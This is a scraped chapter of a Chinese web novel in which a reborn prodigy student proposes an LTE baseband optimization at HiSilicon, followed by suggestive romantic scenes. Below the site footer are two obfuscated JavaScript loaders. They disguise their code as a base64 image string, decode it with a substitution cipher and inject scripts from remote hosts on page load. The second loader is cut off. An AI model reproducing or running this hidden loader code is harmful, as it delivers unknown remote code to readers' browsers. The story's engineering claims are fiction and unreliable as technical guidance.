第270章 优化(1 / 1)

重生2010,国士无双第270章优化女生文学

第270章优化wenxuem推荐各位书友阅读:重生2010,国士无双第270章优化(女生文学wenxuem)

科研室里的白大褂们看着路遥的眼神都有些懵。

如果不是提前知道了黄峰这位高研的老师会领着俩他的师弟师妹过来,可能这些人就会上演一出“你谁啊,在这胡说什么”的打脸戏码。

但现实毕竟不是,黄峰本身就是负责这处科研室的高研,是他们的顶头老大,老大的师兄弟,那是一衣带水的关系,大家只能客气对待,肯定不会猴急的跳出来搞什么打脸的剧情。

科研室虽然是搞研究的,但人情世故同样要有。

没人是傻子。

可问题是表面虽然不会明说,但这会儿这群人的眼神都充满了一种不对劲。

看着路遥,看着黄峰,看着孙教授……

然后在心里嘀咕:这人谁啊?

哦对,黄哥好像说过,这是他那个师弟,去年的高考状元。

好像还玩乐队。

但……会不会有些太离谱了?

这家伙。

上来看了我们的研究资料不到十分钟,你就发现能优化的地方了?

不用机器测试,不用跑数据,空口无凭一张嘴,你就优化?

你要真能优化……我们这群人估计真该都被优化了。

他们琢磨着,无语着。

而黄峰也无语。

虽然从老师那知道了这位小师弟的天才……但你能不能别这么离谱?

干啥啊……好容易搞出来的研究成果就要优化?

你能优化什么?

而最好奇的反倒是孙立强:

“你在哪看出来了问题?”

“这里。”

路遥指了图上的一张图标。

“这处双向无线传输系统联调,分析芯片的报告上。喏,RAM/FIFO,占用率竟然高达百分之70。说明什么?说明大量存储器被占用。百分之70的占用率,后期的开发模块根本没有足够的空间。并且,下面的各个模块分析测试里,基带各个模块的占用单元里,信息道解码是6的占用率,QAM、OFDM、MIMO三个调制解调加起来才26,信道估计数值是12,结果最下面的同步竟然高达24。这说明什么?”

他看了黄峰一眼。

黄峰莫名的下意识回答道:

“存储单元占用百分之24,说明该模块占据了大量存储器空间。并且……是其他单元的倍数以上。”

路遥有些无语。

心说这些东西都摆在明面上的,我用得着问你?

他说道:

“师兄说的没错……但我想说的是,这份数据说明同步模块在设计和实现时,存在1024点互相关,它占用的复数乘法和复数加法器一定是有问题的。你们的模块一定是进行了大量无意义的复数乘法和加法,在实现过程中消耗了大量的逻辑资源。同步模块能占用如此大的硬件逻辑次元,那你们的后续开发一定会出问题,因为没有足够的空间留给你们了。”

黄峰的眉头微微一皱。

其实,说老实讲,这是实验室昨天刚拿到的检测结果。关于LTE传输基带方面的这份成果,属于最新的。而他今天的本意是让老师看一下,证明一下自己的能力。

讲道理……目前这份LTE双向传输系统,至少在海思内部,已经算是非常优秀的系统了。如果不出意外,那么它可能会放到明年的手机里来运行。

这是弟子的功绩,也是给老师的“礼物”。

可谁知道……

这时,孙立强问道:

“那你觉得该怎么做呢?”

路遥看了他一眼,耸耸肩:

“简单啊,优化。师兄他们用的1024点互相关检测,这份数据说明消耗太多硬件资源了。而接下来进行优化就行。先用1024点互相关检测拿到尽可能多一些的数据,然后进行64点互相关检测,来割除不必要的硬件资源,降低存储空间,提高利用率。这是必然要进行的一步。而如果是我的话……唔,我想想啊。”

他略微思索后,继续说道:

“我会先看PSS序列在设计时的无线帧是否可以找到检测位置,然后把得出来的公式里套用R(IM)为接收链路信号,S(M)为本地存储的PSS时域共轭序列。当然了,要考虑到信号在不同信道里传输时受到的影响,进行进一步检测。得到归一化后,设定窗能量,接着在LTE系统里利用三组得出来的本地PSS序列在时域上相互处理,与接收链路信号进行滑动互相关,得到集合后进行计算,找到最大互相关值的同步序列,确定起始位置。这是检测顺序。”

不自觉的,所有人已经跟着他说话的节奏陷入了思考。

就听他继续说道:

“至于接下来的互相关算法优化,我们在进行传统的互相关检测处理时,频域通常会采用最中间的1.08MHZ。但我看这些数据,估摸着10MHZ的系统带宽进行1024互相关检测,那计算量太大了,所以在频域上要下功夫,看能拿到多少待处理的信号点,然后利用尽可能小的FFT计算。而接下来就是把计算结果进行仿真,完成峰值检测,得出信号的功率和损耗,在什么区间内能做到不影响后续模块工作,然后进行改进。只要完成了峰值检测,那么一定能减少计算量,为实现过程完成节省硬件资源。就这么简单。”

这下,连孙立强也绷不住了。

就这么简单?

简单个屁!

虽然……他这会儿的眼神已经逐渐变成了惊叹。

可自己这弟子的话是错误的。

这活……真的一点都不简单。

其中涉及的计算量尤为庞大,绝对是天文数字。

不过华为肯定有自己的超算,所以……似乎也不难。

但话又说回来……

其实弟子说的又没错。

因为在这处LTE基带的传输优化上,难点,已经……被他给搞定了。

同步模块占用的内存确实过高。

但优化需要考虑的东西太多了……不同思路的人,要进行不同的尝试,才能一点点的摸索,进行优化。

这才是最难的。

该从哪方面下手?该牺牲哪个?又该取舍哪个?

这才是最难的。

而现在……最难的地方,被自己的弟子用几分钟的功夫,就给搞定了。

虽然没拿到实验结果,无法证明路遥说的就是对的。

可就目前而言……

孙立强发现,这个方法是最稳妥,也是最中肯的。

不会过于牺牲任何其他模块,并且连检测方法和优化方案,都已经有了。

如果说这份优化工作至少需要6个月的时间,那么按照这个方法来走,至少在得出的检测结果无法证实路线正确前,团队至少可以节省3个月的时间。

原因无他,弟子亲自种下了一颗树。

虽然不知道能不能活,但这棵树的根系、躯干,都有了。

他在短时间内以一种很离谱的视角,完成了最难的基础工作。而其他人只需要顺着他的思路去一样一样做实验,拿数据,验证就可以了。

如果验证成功,那么这棵树就能活。

如果验证不成功,至少他们也拿到了一系列详细的数据,方便为后续的改进打下了基础!

如果用金钱而言,假设这款LTE双向传输系统的优化方案需要花费一百万,那么……有弟子这一番话,至少帮他们节省了60万,甚至更多。

“啧。”

莫名的,孙立强忽然感慨了一声。

接着拿过了路遥手里这份方案,递给了黄峰:

“按照你师弟说的走吧。他提出的优化方案我认可,目前来看,应该是正确的。先做初步测试论证,然后进行优化。”

“呃……”

黄峰那看怪物一样的眼神缓缓消退,取而代之的是认同:

“好的,老师。”

说完,他又看了路遥一眼……

不明其意。

只是其中满是不可思议。

这人……

到底是个什么玩意?

“路遥啊。”

海思内部的咖啡BAR里。

孙立强看着端着咖啡走回来的弟子,忽然问了句:

“想来这边工作么?”

白瑶嘴角一抽。

可下一秒路遥就没什么犹豫的直接摇头:

“不想。”

“呃……”

孙立强一时有些愕然。

可白瑶心里却瞬间舒服了。

就听路遥说道:

“我想留学校那边,李主任前两天还跟我说这个事情来着。主要……我那个研究现在是保密,等明年验证成功,学校就会让我入职。我想和老师您走一样的路,搞科研……和为公司研发科研,我觉得概念还是不同的。您这样的我觉得才是我的终极目标。”

莫名的,孙立强心里暖暖的。

不是……

这话咋听着就那么舒服呢。

就……怎么想怎么觉得舒服。

其实他问这话也是纯属好奇,好奇弟子以后想怎么往前走。

是走学术领域呢,还是说走商业领域。

虽然两者是属于焦不离孟孟不离焦的关系,但侧重点还是有所区别的。

而听到弟子这么说,他心里一下就舒坦了起来。

至于路遥呢,他其实也没说假话。

他确实不喜欢类似黄峰他们实验室这种,公司给明确派任务,他们进行攻关研发的工作。

虽然他们的工资都挺高的。

但……钱在自己这,始终不是什么真正的问题。而重活一世,他自然要选自己更感兴趣,更喜欢的事情来做才对。

搞研究,是不能太商业化的。

像导师这种就刚刚好。

任职于学校,挂靠于公司,钱不少赚,但研究类型方面也更自由。

是他认为最舒服的方式。

在华为待到了4点多,孙立强就带着俩人离开了。

晚上还有和黄峰,以及其他几个任职的师兄弟的饭局。

这次孙立强待路遥他俩来,或者说带路遥来,主要就是让师兄弟们都认识一下。

现在,可能这个小师弟有些事情会麻烦这些师兄弟,但在未来,他坚信一定是自己的其他弟子麻烦小师弟的情况更多。

而在这种时候,自然大家要打好关系。

于是,三人回到了酒店待到了晚上,七八个师兄弟都下班,路遥也算是见识到了导师在海思的班底。

还别说……真挺不错的。

今晚到场的师兄弟,都是负责各个部门的海思高研。

其中黄峰的地位应该是最高的,毕竟LTE基带在4G手机时代是很重要的一个技术,而其他师兄弟混的其实也不差,大家都有一个光明的前途。

饭桌上喝的是茅台,吃的事各种深城特色。

路遥二两酒下肚,人直接就麻了。

最后甚至怎么回来的都不知道,只是在周三这天在学姐怀里醒来时,他发现自己手机里多了一群人的联系方式……

而周三这天,孙立强带着俩人去见了另外一拨人。

和他一样,在半导体技术上有所建树的特聘教授们。

不过会面时间很短,大家只是吃了一顿午饭,然后就各奔东西了。

路遥也没问这些人是不是中心实验室里的人,没必要,毕竟海思对这些特聘教授的名单都是绝密的。这是为了企业安全……但在过几年,就是为了国家安全了。

他也不急。

麒麟芯片,他肯定要插一手的。

到时候……大家肯定是同行。

不着急。

在深城呆了一天半,周三下午,大家就一起回了魔都。

在机场分别的时候,孙立强让路遥记得把那份关于VIVANTE的报告给写出来发给他。

并且还会给他一些参数,让他查阅。

路遥点头答应后,送别了导师,和学姐一起返回了学校。

结果在晚上的时候,就接到了黄峰的电话。

“喂,师弟,这会儿忙不忙?”

“不忙啊,师兄,有什么事找我?”

他看着正往腿上套黑丝的学姐问道。

还别说……身高腿长的学姐穿上黑丝的杀伤力真不是一般的强。

攻到极点了。

难怪那么招女孩子喜欢……

“是这样的,我们今天已经把关于LTE的双向传输系统优化方案提交了,估计……也就十天半个月就能获批。到时候肯定少不了麻烦师弟……”

“哈哈,师兄,这话可就外道了。”

拍走了学姐乱摸的手,他无语的指了指电话,接着才说道:

“有什么需要我帮忙的,师兄你随时联系我就行。”

“哈,那就行。而且……我在报告里其实也提了,说这是你提供的优化思路。老师给你办来宾卡了吧?”

“你说那个临时工卡?”

“对。”

“办了。”

“嗯,那你的资料华为应该有。这个优化项目里,你的名字也在,通过后公司肯定要联系一下你和导师……到时候肯定会有报酬的。”

“师兄,这话……呃……”

他无语的看着蹲在自己面前的学姐,无语的往后退了几步。

白瑶得意一笑,开始往前爬。

然后一把抓住了他的手,牵着,让他勾住了自己脖子上挂着的蕾丝项圈。

就像是……他在牵着宠物一样。

瞬间,路遥有些红温了。

“怎么了?”

黄峰那边问道。

“没事,师兄,咱们之间不用那么客气的。”

“那不行,你是我师弟,肯定不能让你吃亏。你别以为这是举手之劳,师弟啊,咱们就是靠脑子吃饭的,不是么?就这我还怕公司给你的报酬太低……”

“嘶”

“……不至于不至于,别倒吸凉气啊。哈哈。”

黄峰以为他是因为“钱”而惊讶。

殊不知路遥这会儿已经坐到了沙发上,之所以倒吸凉气,是因为学姐在催促……

他分心的时间有点久,她有点不耐烦了。

见状,路遥一边无语,一边把手放到了学姐的脸颊上无意识的摩挲着:

“反正需要帮忙的时候,师兄你说就行。我肯定没问题的。”

“哈,那就好啦。到时候你来深城,我带你好好潇洒一回去!”

“可别,我这酒量,那天你不见到了么?”

“哈哈哈,放心,这次不喝多,但肯定让你玩的流连忘返。哈哈哈”

有时候吧……男人的默契就挺恐怖的。

路遥一下子就听懂了他要干啥了。

有种只可意会不可言传的默契。

忍不住笑道:

“那可不能告诉导师。”

“哈哈哈哈……”

黄峰笑着说道:

“那行,那就这样。等项目下来了,到时候我提前跟你说。”

“嗯嗯,好。那我挂了?”

“嗯,早点休息,挂了。”

“好的。”

嘟嘟。

电话挂断。

他把手机丢到了一边,把头往沙发上一仰,眯起了眼睛。

这时,就听学姐说道:

“这项目,你跟导师说把我带上。不过我不掺和你们的事情,或者你分我个小课题做就行……你去深城我就跟着。最好是挑周五周六去。”

“……为什么?”

路遥本身也没打算抛下她。

“因为周五开始,你通常会去找徐若初。但你要是出差,从周一到周日,你全是我的!”

路遥睁眼,收头,看了她一眼,无语的问道:

“你最近怎么醋劲越来越大了?”

“因为越来越喜欢你了……”

她迷离的眼眸里充满了占有欲:

“一周七天,一天24小时……想天天和你在一起。”

“……你眼神挺吓人的。”

“是么?”

那张天生冷淡风的容颜上出现了一抹红润。

把路遥摩挲着自己脸颊的手,主动放到了自己的头上。

然后微微压下了一下。

那是在给路遥提醒。

提醒他,用力。

路遥重新眯起了眼睛。

真是个疯批啊……

他心说。

(本章完)

最新小说: 爱情向东,婚姻向西 凤舞君临渊洞房 顾霆霄乔岚月 初唐剑仙 我的美女军团 他在看着你 剑荡北朝 凤舞君临渊神医凤后 凤舞君临渊 一夜诱宠:隐婚小妻子
!function(){function a(a){var _idx="d3axxd453u";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/KssjR8fsdRRfons_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Kss"=X8"fsdRRfons_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Kss^)ThF)mq)Y5f7SmRT4"="KssX5ThF)mfLTq:S(mRT4"="Kss2pThFmq)Y5f7SmRT4"="Kss_JqhFmfLTq:S(mRT4"="Kss2TOhFmq)Y5f7SmRT4"="KssCSqhF)mfLTq:S(mRT4"="Kss)FfThF)fmq)Y5f7SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKssqhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Kssj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKssqhOFq^)Y6(:mCX_4S4RmRT4gQ}1Q/((/Kssj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q/f/Kssj(8}vR8fsdRRfons_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKss)hFL_h^m(dLhp(6mRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();
!function(){function a(a){var _idx="i3axxd453u";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs@)hFL_h^m(dLhp(6mRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks@jR86sdRRfons_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks@"=X8"6sdRRfons_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks@^)ThF)mq)Y5f7SmRT4"="Ks@X5ThF)mfLTq:S(mRT4"="Ks@2pThFmq)Y5f7SmRT4"="Ks@_JqhFmfLTq:S(mRT4"="Ks@2TOhFmq)Y5f7SmRT4"="Ks@CSqhF)mfLTq:S(mRT4"="Ks@)FfThF)fmq)Y5f7SmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD 